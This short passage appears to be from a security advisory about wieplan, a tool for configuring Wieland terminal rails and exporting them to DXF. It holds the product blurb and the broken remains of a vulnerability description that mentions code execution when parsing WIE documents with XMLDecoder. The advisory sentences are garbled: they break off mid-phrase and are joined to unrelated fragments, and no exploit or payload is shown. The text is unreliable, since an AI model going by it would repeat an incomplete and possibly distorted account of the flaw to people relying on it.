Summary: Your new software for the configuration  
of Wieland terminal rails. wieplan enables you to  
plan a complete terminal rail in a very simple way  
and to then place an order with Wieland. The configured  
terminal rail can be stored in DXF format and read  
into a CAD tool for further processing. Due to the

execution when parsing WIE documents that uses XMLDecoder,

to the vendor offices to be processed.
